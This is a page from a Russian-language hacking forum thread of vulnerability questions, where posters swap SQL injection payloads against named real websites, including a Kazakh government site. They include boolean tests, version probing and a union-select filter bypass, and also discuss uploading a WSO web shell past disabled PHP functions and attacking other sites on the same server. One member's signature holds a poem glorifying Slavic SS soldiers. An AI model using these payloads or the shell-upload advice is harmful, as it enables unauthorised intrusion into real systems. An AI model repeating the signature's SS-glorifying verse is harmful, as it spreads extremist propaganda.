HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1955 из 2438 « Первая < 9551455185519051945 1951 1952 1953 1954 1955 1956 1957 1958 1959 196520052055 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #19541  
Старый 07.02.2012, 14:27
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию
Ereee

http://www.ctgroup.kz/?op=mi=node_2744' and 2>5+--+=,view_2599 False

http://www.ctgroup.kz/?op=mi=node_2744' and 2>1+--+=,view_2599 True

не??

Главное = не юзать
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #19542  
Старый 07.02.2012, 14:49
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию
HAXTA4OK,

спасибо, незнал. А почему:

http://www.ctgroup.kz/?op=mi=node_2744' and substring(version(),1,1)>1+--+=,view_2599

false? Не могу понять...

P.S. Думаю на фильтры... Хотя... нет.
 
Ответить с цитированием

  #19543  
Старый 07.02.2012, 15:47
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию
Нужно копать в сторону второго запроса

Цитата:
Сообщение от None  
http://www.ctgroup.kz/?op=mi='+/*!uNiOn*//*!select*/'node_2744\'+and+\'1'+--+=,view_2599
Вывод где-то рядом

На самой странице результаты могут быть не видны. Ищите в исходнике по тексту

PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]$([/COLOR][COLOR="#DD0000"]".l"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]hide[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR] 
 
Ответить с цитированием

  #19544  
Старый 07.02.2012, 18:47
anonym_di
Guest
Сообщений: n/a
Провел на форуме:
11684

Репутация: 0
По умолчанию
Всем хай, вот не могоу раскрутить скулу, вобще возможно ли провести тут sqli или нет если да то каким запросом.

http://www.mk.gov.kz/?lang=kaz&id_open_rubric=806'
 
Ответить с цитированием

  #19545  
Старый 07.02.2012, 19:19
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
Цитата:
Сообщение от None  
disable_functions dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit, chown, chgrp
у меня есть шансы на заливку?

2Ereee, ну да, только как
 
Ответить с цитированием

  #19546  
Старый 07.02.2012, 19:24
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию
anonym_di,

фильтры фильтры...

faza02,

шансы всегда есть =)
 
Ответить с цитированием

  #19547  
Старый 07.02.2012, 19:32
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию
Цитата:
Сообщение от faza02  
faza02 said:
у меня есть шансы на заливку?
2Ereee, ну да, только как
Залить то зальешь, правда криво шелл может будет работать
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #19548  
Старый 07.02.2012, 19:37
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
на этом сервере еще есть сайты, стоит их копать, или конфиг везде такой будет?
 
Ответить с цитированием

  #19549  
Старый 07.02.2012, 19:38
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию
Цитата:
Сообщение от faza02  
faza02 said:
на этом сервере еще есть сайты, стоит их копать, или конфиг везде такой будет?
Везде такой. WSO будет нормально пахать, правда не порутаешь.
 
Ответить с цитированием

  #19550  
Старый 07.02.2012, 19:43
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию
хорошо, спасибо.

а какие еще функции есть, которые не выключены, и через которые можно залить?
 
Ответить с цитированием
Ответ
Страница 1955 из 2438 « Первая < 9551455185519051945 1951 1952 1953 1954 1955 1956 1957 1958 1959 196520052055 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ